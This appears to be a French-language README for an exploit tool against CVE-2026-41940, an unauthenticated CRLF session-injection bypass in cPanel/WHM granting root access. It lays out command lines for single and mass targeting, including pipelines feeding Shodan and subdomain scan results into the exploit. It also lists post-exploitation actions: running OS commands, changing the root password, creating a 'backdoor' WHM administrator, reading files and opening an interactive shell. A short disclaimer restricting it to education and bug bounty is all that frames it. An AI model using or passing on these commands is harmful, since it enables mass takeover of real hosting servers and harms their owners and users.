
Exploit pour CVE-2026-41940, un contournement d'authentification non authentifié dans cPanel/WHM qui octroie un accès WHM de niveau root via une injection de session CRLF, avec des commandes de post-exploitation et un shell interactif.
⚠ Cet outil est créé uniquement à des fins éducatives ou de bug bounty. Toute utilisation non autorisée en dehors d'environnements contrôlés est strictement interdite.
Un outil pour exploiter CVE-2026-41940, un contournement critique de l'authentification dans cPanel & WHM (CVSS 10.0), permettant à des attaquants non authentifiés d'obtenir un accès WHM de niveau root en injectant des séquences CRLF dans les fichiers de session côté serveur via l'en-tête Authorization — aucune information d'identification requise.
CVE-2026-41940, en termes généraux, est exploitée via une défaillance dans la façon dont le système gère les sessions d'authentification dans cPanel/WHM. L'attaque commence généralement par une requête normale vers l'interface de connexion, où l'application initialise prématurément une session avant de valider complètement les informations d'identification de l'utilisateur. En raison d'une gestion inappropriée des entrées liées à la session, certaines structures d'entrée spécialement conçues ou inattendues peuvent modifier la manière dont les données de session sont stockées ou interprétées par le serveur.
| Version | Vulnérable | Corrigée |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/pemarine/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
L'outil attend qu'un domaine cible soit spécifié.
Mode cible unique :
python cve.py -u https://target1.com:2083
Vous pouvez également scanner à partir du fichier target.txt (créez-le) :
python cve.py -l target.txt -t 50 -o result.json
Commandes disponibles :
python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
# List all accounts on the server
python cve.py list -u https://target.com:2087
# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087
# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Interactive WHM shell
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# From scope list
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
Après une exécution réussie, vous pouvez ouvrir un shell WHM interactif :
python cve.py shell -u
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ Cet outil est créé uniquement à des fins éducatives ou de bug bounty. Toute utilisation non autorisée en dehors d'environnements contrôlés est strictement interdite.
| Command | Description |
|---|
id | Afficher l'ID utilisateur |
hostname | Obtenir le nom d'hôte du serveur |
accounts | Lister tous les comptes utilisateurs |
info | Charge, disque, hôte MySQL, version |
cat <path> | Lire le contenu d'un fichier |
exec <cmd> | Exécuter une commande OS |
newadmin <user> <pass> | Créer un administrateur WHM backdoor |
passwd <pass> | Changer le mot de passe root |
l [path] | Lister le répertoire |
help | Afficher toutes les commandes |
exit | Quitter le mode shell |